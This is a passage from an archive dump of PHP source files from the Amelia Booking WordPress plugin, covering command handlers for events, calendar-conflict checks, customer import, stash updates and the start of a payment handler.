$eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( ['reauthorize' => true] ); return $result; } if ($userAS->isCustomer($user) || ($userAS->isProvider($user) && !$settingsDS->getSetting('roles', 'allowWriteEvents')) ) { throw new AccessDeniedException('You are not allowed to add an event'); } $eventRepository->beginTransaction(); /** @var Event $event */ $event = $eventApplicationService->build($command->getFields()); try { /** @var Collection $events */ $events = $eventApplicationService->add($event); } catch (QueryExecutionException $e) { $eventRepository->rollback(); throw $e; } $eventRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new event.'); $result->setData( [ Entities::EVENTS => $events->toArray(), ] ); return $result; } } Commands/Booking/Event/GetCalendarEventsCommandHandler.php 0000666 00000014562 15165412624 0017644 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Event\EventPeriodFactory; use AmeliaBooking\Domain\Factory\Booking\Event\RecurringFactory; use AmeliaBooking\Domain\Services\Booking\EventDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Recurring; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Services\Google\GoogleCalendarService; use AmeliaBooking\Infrastructure\Services\Outlook\OutlookCalendarService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetCalendarEventsCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetCalendarEventsCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'periods' ]; /** * @param GetCalendarEventsCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ public function handle(GetCalendarEventsCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var GoogleCalendarService $googleCalendarService */ $googleCalendarService = $this->container->get('infrastructure.google.calendar.service'); /** @var OutlookCalendarService $outlookCalendarService */ $outlookCalendarService = $this->container->get('infrastructure.outlook.calendar.service'); /** @var EventDomainService $eventDomainService */ $eventDomainService = $this->container->get('domain.booking.event.service'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( ['reauthorize' => true] ); return $result; } if ($userAS->isCustomer($user) || ( $userAS->isProvider($user) && !$settingsDS->getSetting('roles', 'allowWriteEvents') ) ) { throw new AccessDeniedException('You are not allowed to read an event'); } $events = []; $providerList = $command->getField('providers'); $periodList = $command->getField('periods'); $eventParams = $command->getField('eventIds'); $eventIds = $eventRepository->getRecurringIds($eventParams[0], $eventParams[1]); $eventIds[] = $eventParams[0]; $recurringData = $command->getField('recurring'); $periodList = array_map( function ($val) { return EventPeriodFactory::create($val); }, $periodList ); if ($recurringData['until']) { /** @var Recurring $recurring */ $recurring = RecurringFactory::create($recurringData); $recurringEventsPeriods = $eventDomainService->getRecurringEventsPeriods( $recurring, new Collection($periodList) ); if ($recurringEventsPeriods->length()) { /** @var Collection $recurringPeriod */ foreach ($recurringEventsPeriods->getItems() as $recurringPeriod) { $periodList = array_merge($periodList, $recurringPeriod->getItems()); } } } foreach ($providerList as $provider) { /** @var EventPeriod $period */ foreach ($periodList as $period) { $periodStart = DateTimeService::getCustomDateTimeRFC3339($period->getPeriodStart()->getValue()->format('Y-m-d H:i:s')); $periodEnd = DateTimeService::getCustomDateTimeRFC3339($period->getPeriodEnd()->getValue()->format('Y-m-d H:i:s')); $periodStartEnd = explode('T', $periodStart)[0] . 'T' . explode('T', $periodEnd)[1]; $events = array_merge($events, $googleCalendarService->getEvents($provider, $periodStart, $periodStartEnd, $periodEnd, $eventIds)); $events = array_merge($events, $outlookCalendarService->getEvents($provider, $periodStart, $periodStartEnd, $periodEnd, $eventIds)); if (count($events) > 0) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage("Conflict with the event in employee's google/outlook calendar"); $result->setData( [ 'calendarConflict' => true, 'events' => $events ] ); return $result; } } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved google events.'); $result->setData( [ 'events' => $events, ] ); return $result; } } Commands/Booking/Event/AddEventCommand.php 0000666 00000000401 15165412624 0014465 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class AddEventCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class AddEventCommand extends Command { } Commands/Booking/Event/DeleteEventBookingCommand.php 0000666 00000001026 15165412624 0016514 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteEventBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class DeleteEventBookingCommand extends Command { /** * GetEventCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/Booking/Event/UpdateEventStatusCommandHandler.php 0000666 00000006165 15165412624 0017736 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; /** * Class UpdateEventStatusCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventStatusCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'status', 'applyGlobally' ]; /** * @param UpdateEventStatusCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdateEventStatusCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWriteStatus(Entities::EVENTS)) { throw new AccessDeniedException('You are not allowed to update event status'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $requestedStatus = $command->getField('status'); /** @var Event $event */ $event = $eventRepository->getById((int)$command->getArg('id')); $eventRepository->beginTransaction(); try { /** @var Collection $updatedEvents */ $updatedEvents = $eventApplicationService->updateStatus( $event, $requestedStatus, $command->getField('applyGlobally') ); } catch (QueryExecutionException $e) { $eventRepository->rollback(); throw $e; } $eventRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated event status'); $result->setData([ 'status' => $requestedStatus, 'message' => BackendStrings::getEventStrings()['event_status_changed'] . $requestedStatus, Entities::EVENTS => $updatedEvents->toArray(), ]); return $result; } } Commands/Booking/Event/GetEventDeleteEffectCommandHandler.php 0000666 00000004136 15165412624 0020263 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; /** * Class GetEventDeleteEffectCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventDeleteEffectCommandHandler extends CommandHandler { /** * @param GetEventDeleteEffectCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetEventDeleteEffectCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to write events'); } $result = new CommandResult(); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var Event $event */ $event = $eventRepository->getById((int)$command->getArg('id')); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved message.'); $result->setData([ 'valid' => $event->getStatus()->getValue() === BookingStatus::REJECTED, 'message' => BackendStrings::getEventStrings()['event_cancel_before_delete'] ]); return $result; } } Commands/Booking/Event/DeleteEventBookingCommandHandler.php 0000666 00000012366 15165412624 0020023 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class DeleteEventBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class DeleteEventBookingCommandHandler extends CommandHandler { /** * @param DeleteEventBookingCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function handle(DeleteEventBookingCommand $command) { $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::EVENTS)) { try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getToken(), Entities::PROVIDER ); } catch (AuthorizationException $e) { $result = new CommandResult(); $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isCustomer($user)) { throw new AccessDeniedException('You are not allowed to delete event bookings'); } } /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var CustomerBooking $customerBooking */ $customerBooking = $customerBookingRepository->getById((int)$command->getField('id')); /** @var Collection $events */ $events = $eventRepository->getByBookingIds([$customerBooking->getId()->getValue()]); /** @var Event $event */ $event = $events->getItem($events->keys()[0]); $customerBookingRepository->beginTransaction(); if (!$eventApplicationService->deleteEventBooking($customerBooking)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete booking'); return $result; } $customerBookingRepository->commit(); $event->setNotifyParticipants( $bookingAS->isBookingApprovedOrPending($customerBooking->getStatus()->getValue()) ); $customerBooking->setChangedStatus( new BooleanValueObject( $bookingAS->isBookingApprovedOrPending($customerBooking->getStatus()->getValue()) ) ); $customerBooking->setStatus(new BookingStatus(BookingStatus::REJECTED)); /** @var Collection $payments */ $payments = $event->getBookings()->getItem($event->getBookings()->keys()[0])->getPayments(); if ($payments && count($payments->getItems())) { $customerBooking->setPayments($payments); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted event booking'); $result->setData( [ 'type' => Entities::EVENT, Entities::EVENT => $event->toArray(), Entities::BOOKING => $customerBooking->toArray(), 'appointmentStatusChanged' => false ] ); return $result; } } Commands/Booking/Event/GetCalendarEventsCommand.php 0000666 00000000423 15165412624 0016335 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class GetCalendarEventsCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetCalendarEventsCommand extends Command { } Commands/Booking/Event/UpdateEventStatusCommand.php 0000666 00000000423 15165412624 0016427 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateEventStatusCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventStatusCommand extends Command { } Commands/Booking/Event/GetEventCommand.php 0000666 00000001002 15165412624 0014512 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class GetEventCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventCommand extends Command { /** * GetEventCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/Booking/Event/GetEventsCommand.php 0000666 00000000403 15165412624 0014701 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\Command; /** * Class GetEventsCommand * * @package AmeliaBooking\Application\Commands\Booking\Event */ class GetEventsCommand extends Command { } Commands/Booking/Event/UpdateEventCommandHandler.php 0000666 00000022246 15165412624 0016530 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Event; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Services\Zoom\ZoomService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateEventCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Event */ class UpdateEventCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'id', 'name', 'periods', 'applyGlobally' ]; /** * @param UpdateEventCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException * @throws Exception */ public function handle(UpdateEventCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isCustomer($user) || ( $userAS->isProvider($user) && !$settingsDS->getSetting('roles', 'allowWriteEvents') ) ) { throw new AccessDeniedException('You are not allowed to update an event'); } /** @var Event $event */ $event = $eventApplicationService->build($command->getFields()); /** @var Event $event */ $oldEvent = $eventApplicationService->getEventById( $event->getId()->getValue(), [ 'fetchEventsPeriods' => true, 'fetchEventsTickets' => true, 'fetchEventsTags' => true, 'fetchEventsProviders' => true, 'fetchEventsImages' => true, 'fetchApprovedBookings' => false, 'fetchBookingsTickets' => true, 'fetchBookingsUsers' => true, 'fetchBookingsPayments' => true, ] ); if ($oldEvent->getRecurring() && $event->getRecurring() && ( $event->getRecurring()->getUntil()->getValue() < $oldEvent->getRecurring()->getUntil()->getValue() || $event->getRecurring()->getCycle()->getValue() !== $oldEvent->getRecurring()->getCycle()->getValue() ) ) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update event'); return $result; } $event->setBookings($oldEvent->getBookings()); /** @var EventPeriod $oldEventPeriod */ foreach ($oldEvent->getPeriods()->getItems() as $oldEventPeriod) { /** @var EventPeriod $eventPeriod */ foreach ($event->getPeriods()->getItems() as $eventPeriod) { if ($eventPeriod->getId() && $oldEventPeriod->getId()->getValue() === $eventPeriod->getId()->getValue() ) { if ($oldEventPeriod->getZoomMeeting()) { $eventPeriod->setZoomMeeting($oldEventPeriod->getZoomMeeting()); } if ($oldEventPeriod->getLessonSpace()) { $eventPeriod->setLessonSpace($oldEventPeriod->getLessonSpace()); } } } } $eventRepository->beginTransaction(); try { $parsedEvents = $eventApplicationService->update( $oldEvent, $event, $command->getField('applyGlobally') ); } catch (QueryExecutionException $e) { $eventRepository->rollback(); throw $e; } $eventRepository->commit(); $providersRemoved = array_udiff( $oldEvent->getProviders()->getItems(), $event->getProviders()->getItems(), function ($a, $b) { if ($a->getId()->getValue() == $b->getId()->getValue()) { return 0; } else { return ($a->getId()->getValue() < $b->getId()->getValue() ? -1 : 1); } } ); $providersAdded = array_udiff( $event->getProviders()->getItems(), $oldEvent->getProviders()->getItems(), function ($a, $b) { if ($a->getId()->getValue() == $b->getId()->getValue()) { return 0; } else { return ($a->getId()->getValue() < $b->getId()->getValue() ? -1 : 1); } } ); $newInfo = ($event->getDescription() ? $event->getDescription()->getValue() : null) !== ($oldEvent->getDescription() ? $oldEvent->getDescription()->getValue() : null) || $event->getName()->getValue() !== $oldEvent->getName()->getValue(); $zoomUserChanged = ($event->getZoomUserId() ? $event->getZoomUserId()->getValue() : null) !== ($oldEvent->getZoomUserId() ? $oldEvent->getZoomUserId()->getValue() : null); $zoomUsersLicenced = false; if ($oldEvent->getZoomUserId() && $event->getZoomUserId() && $zoomUserChanged) { /** @var ZoomService $zoomService */ $zoomService = $this->container->get('infrastructure.zoom.service'); $zoomUserType = 0; $zoomOldUserType = 0; $zoomResult = $zoomService->getUsers(); if (!(isset($zoomResult['code']) && $zoomResult['code'] === 124) && !($zoomResult['users'] === null && isset($zoomResult['message']))) { $zoomUsers = $zoomResult['users']; foreach ($zoomUsers as $key => $val) { if ($val['id'] === $event->getZoomUserId()->getValue()) { $zoomUserType = $val['type']; } if ($val['id'] === $oldEvent->getZoomUserId()->getValue()) { $zoomOldUserType = $val['type']; } } } if ($zoomOldUserType > 1 && $zoomUserType > 1) { $zoomUsersLicenced = true; } } $organizerChanged = ($event->getOrganizerId() ? $event->getOrganizerId()->getValue() : null) !== ($oldEvent->getOrganizerId() ? $oldEvent->getOrganizerId()->getValue() : null); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated event.'); $result->setData( [ Entities::EVENTS => $parsedEvents, 'zoomUserChanged' => $zoomUserChanged && $event->getZoomUserId() ? $event->getZoomUserId()->getValue() : null, 'zoomUsersLicenced' => $zoomUsersLicenced, 'newInfo' => $newInfo ? [ 'name' => $event->getName(), 'description' => $event->getDescription() ] : null, 'newProviders' => $providersAdded, 'removeProviders' => $providersRemoved, 'organizerChanged' => $organizerChanged, 'newOrganizer' => $event->getOrganizerId() ? $event->getOrganizerId()->getValue() : null, 'notifyParticipants' => $command->getField('notifyParticipants') ] ); return $result; } } Commands/Import/ImportCustomersCommandHandler.php 0000666 00000016644 15165412624 0016271 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Import; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class ImportCustomersCommandHandler * * @package AmeliaBooking\Application\Commands\Import */ class ImportCustomersCommandHandler extends CommandHandler { /** * @param ImportCustomersCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle(ImportCustomersCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::CUSTOMERS)) { throw new AccessDeniedException('You are not allowed to read customers.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); $data = $command->getField('data'); $num = $command->getField('number'); $overwriteUsers = $command->getField('overwrite'); /** @var UserRepository $userRepository */ $userRepository = $this->getContainer()->get('domain.users.repository'); /** @var CustomerApplicationService $customerApplicationService */ $customerApplicationService = $this->container->get('application.user.customer.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $dateFormat = $settingsDS->getSetting('wordpress', 'dateFormat'); $addedUsers = []; $failedUsers = []; $userExists = []; $userRepository->beginTransaction(); if ($overwriteUsers) { foreach ($overwriteUsers as $overwriteUser) { /** @var Customer $newUser */ try { if (!empty($overwriteUser['birthday']) && !empty($overwriteUser['birthday']['date'])) { $overwriteUser['birthday'] = (new \DateTime($overwriteUser['birthday']['date']))->format('Y-m-d'); } } catch (Exception $e) { $failedUsers[] = $overwriteUser; continue; } $removeKeys = array('index', 'id', 'externalId', 'status'); foreach (array_keys($overwriteUser) as $key) { if (in_array($key, $removeKeys) || empty($overwriteUser[$key])) { unset($overwriteUser[$key]); } } $email = $overwriteUser['email'] ; unset($overwriteUser['email']); if (!$userRepository->updateFieldsByEmail($email, $overwriteUser)) { $failedUsers[] = $overwriteUser; continue; } $addedUsers[] = $newUser; } $userRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully overwritten users'); $result->setData( [ 'addedUsers' => $addedUsers, 'failedToAdd' => $failedUsers, 'existsUsers' => [] ] ); return $result; } $existingEmails = $userRepository->getAllEmailsByType('customer'); for ($i = 0; $i < $num; $i++) { try { $customerData = [ 'firstName' => $data['firstName'][$i], 'lastName' => $data['lastName'][$i], 'email' => $data['email'][$i], 'phone' => !empty($data['phone']) ? $data['phone'][$i] : null, 'gender' => !empty($data['gender']) ? $data['gender'][$i] : null, 'note' => !empty($data['note']) ? $data['note'][$i] : null, 'type' => Entities::CUSTOMER ]; if ($customerData['email']) { $customerData['email'] = preg_replace('/\s+/', '', $customerData['email']); } if (in_array($customerData['email'], array_column($userExists, 'email')) || in_array($customerData['email'], array_column($addedUsers, 'email'))) { $failedUsers[] = array_merge($customerData, ['index' => $i]); continue; } if (!empty($data['birthday']) && $data['birthday'][$i]) { $d = \DateTime::createFromFormat($dateFormat, $data['birthday'][$i]); if ($d) { $customerData['birthday'] = $d->format('Y-m-d'); } else { throw new Exception(); } } /** @var Customer $newUser */ $newUser = UserFactory::create($customerData); } catch (Exception $e) { $failedUsers[] = array_merge($customerData, ['index' => $i]); continue; } if (!($newUser instanceof AbstractUser) || empty($newUser->getFirstName()->getValue()) || empty($newUser->getLastName()->getValue())) { $failedUsers[] = array_merge($customerData, ['index' => $i]); continue; } if ($newUser->getEmail() && $newUser->getEmail()->getValue() && in_array($newUser->getEmail()->getValue(), $existingEmails)) { $userExists[] = array_merge($newUser->toArray(), ['index' => $i]); continue; } try { if (!$id = $userRepository->add($newUser)) { $failedUsers[] = array_merge($newUser->toArray(), ['index' => $i]); continue; } } catch (QueryExecutionException $e) { $failedUsers[] = array_merge($newUser->toArray(), ['index' => $i]); continue; } $newUser->setId(new Id($id)); $customerApplicationService->setWPUserForCustomer($newUser, true); $addedUsers[] = $newUser; } $userRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully imported users'); $result->setData( [ 'addedUsers' => $addedUsers, 'failedToAdd' => $failedUsers, 'existsUsers' => $userExists ] ); return $result; } } Commands/Import/ImportCustomersCommand.php 0000666 00000000556 15165412624 0014766 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Import; use AmeliaBooking\Application\Commands\Command; /** * Class ImportCustomersCommand * * @package AmeliaBooking\Application\Commands\Import */ class ImportCustomersCommand extends Command { } Commands/Stash/UpdateStashCommandHandler.php 0000666 00000004752 15165412624 0015144 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stash; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Stash\StashApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateStashCommandHandler * * @package AmeliaBooking\Application\Commands\Coupon */ class UpdateStashCommandHandler extends CommandHandler { /** * @param UpdateStashCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdateStashCommand $command) { /** @var StashApplicationService $stashApplicationService */ $stashApplicationService = $this->container->get('application.stash.service'); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); try { /** @var AbstractUser $currentUser */ $currentUser = $userAS->authorization( $command->getToken() ?: null, Entities::PROVIDER ); } catch (AuthorizationException $e) { $currentUser = null; } if ($currentUser && ( $currentUser->getType() === AbstractUser::USER_ROLE_ADMIN || $currentUser->getType() === AbstractUser::USER_ROLE_PROVIDER || $currentUser->getType() === AbstractUser::USER_ROLE_MANAGER ) ) { $stashApplicationService->setStash(); } $result = new CommandResult(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated stash'); $result->setData(true); return $result; } } Commands/Stash/UpdateStashCommand.php 0000666 00000000544 15165412624 0013641 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Stash; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateStashCommand * * @package AmeliaBooking\Application\Commands\Stash */ class UpdateStashCommand extends Command { } Commands/Payment/PaymentLinkCommandHandler.php 0000666 00000005702 15165412624 0015501 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use 